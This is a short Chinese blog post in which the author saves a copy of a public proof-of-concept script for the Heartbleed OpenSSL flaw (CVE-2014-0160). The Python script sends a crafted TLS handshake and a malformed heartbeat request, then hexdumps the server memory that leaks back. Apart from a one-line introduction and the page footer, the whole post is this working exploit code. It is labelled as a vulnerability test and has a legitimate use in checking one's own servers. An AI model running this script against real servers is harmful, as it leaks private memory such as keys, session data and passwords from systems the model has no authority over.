【脚本程序】Openssl利用脚本

装系统了很多东西没有了，遇到了一openssl还不能读了，还费力的找了一会。这次收藏下吧。

  

  1 #!/usr/bin/python
  2 
  3 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4 # The author disclaims copyright to this source code.
  5 
  6 import sys
  7 import struct
  8 import socket
  9 import time
 10 import select
 11 import re
 12 from optparse import OptionParser
 13 
 14 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
 15 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 16 
 17 def h2bin(x):
 18     return x.replace(' ', '').replace('\n', '').decode('hex')
 19 
 20 hello = h2bin('''
 21 16 03 02 00  dc 01 00 00 d8 03 02 53
 22 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
 23 bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
 24 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
 25 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
 26 c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
 27 c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
 28 c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
 29 c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
 30 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
 31 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
 32 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
 33 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
 34 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
 35 00 0f 00 01 01                                 
 36 ''')
 37 
 38 hb = h2bin('''
 39 18 03 02 00 03
 40 01 40 00
 41 ''')
 42 
 43 def hexdump(s):
 44     for b in xrange(0, len(s), 16):
 45         lin = [c for c in s[b : b + 16]]
 46         hxdat = ' '.join('%02X' % ord(c) for c in lin)
 47         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
 48         print '  %04x: %-48s %s' % (b, hxdat, pdat)
 49     print
 50 
 51 def recvall(s, length, timeout=5):
 52     endtime = time.time() + timeout
 53     rdata = ''
 54     remain = length
 55     while remain > 0:
 56         rtime = endtime - time.time()
 57         if rtime < 0:
 58             return None
 59         r, w, e = select.select([s], [], [], 5)
 60         if s in r:
 61             data = s.recv(remain)
 62             # EOF?
 63             if not data:
 64                 return None
 65             rdata += data
 66             remain -= len(data)
 67     return rdata
 68 
 69  
 70 def recvmsg(s):
 71     hdr = recvall(s, 5)
 72     if hdr is None:
 73         print 'Unexpected EOF receiving record header - server closed connection'
 74         return None, None, None
 75     typ, ver, ln = struct.unpack('>BHH', hdr)
 76     pay = recvall(s, ln, 10)
 77     if pay is None:
 78         print 'Unexpected EOF receiving record payload - server closed connection'
 79         return None, None, None
 80     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
 81     return typ, ver, pay
 82 
 83 def hit_hb(s):
 84     s.send(hb)
 85     while True:
 86         typ, ver, pay = recvmsg(s)
 87         if typ is None:
 88             print 'No heartbeat response received, server likely not vulnerable'
 89             return False
 90 
 91         if typ == 24:
 92             print 'Received heartbeat response:'
 93             hexdump(pay)
 94             if len(pay) > 3:
 95                 print 'WARNING: server returned more data than it should - server is vulnerable!'
 96             else:
 97                 print 'Server processed malformed heartbeat, but did not return any extra data.'
 98             return True
 99 
100         if typ == 21:
101             print 'Received alert:'
102             hexdump(pay)
103             print 'Server returned error, likely not vulnerable'
104             return False
105 
106 def main():
107     opts, args = options.parse_args()
108     if len(args) < 1:
109         options.print_help()
110         return
111 
112     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
113     print 'Connecting...'
114     sys.stdout.flush()
115     s.connect((args[0], opts.port))
116     print 'Sending Client Hello...'
117     sys.stdout.flush()
118     s.send(hello)
119     print 'Waiting for Server Hello...'
120     sys.stdout.flush()
121     while True:
122         typ, ver, pay = recvmsg(s)
123         if typ == None:
124             print 'Server closed connection without sending Server Hello.'
125             return
126         # Look for server hello done message.
127         if typ == 22 and ord(pay[0]) == 0x0E:
128             break
129 
130     print 'Sending heartbeat request...'
131     sys.stdout.flush()
132     s.send(hb)
133     hit_hb(s)
134 
135 if __name__ == '__main__':
136     main()

 

posted @ 2015-10-20 21:22  coffeesafe  阅读(326)  评论(0)  编辑  收藏  举报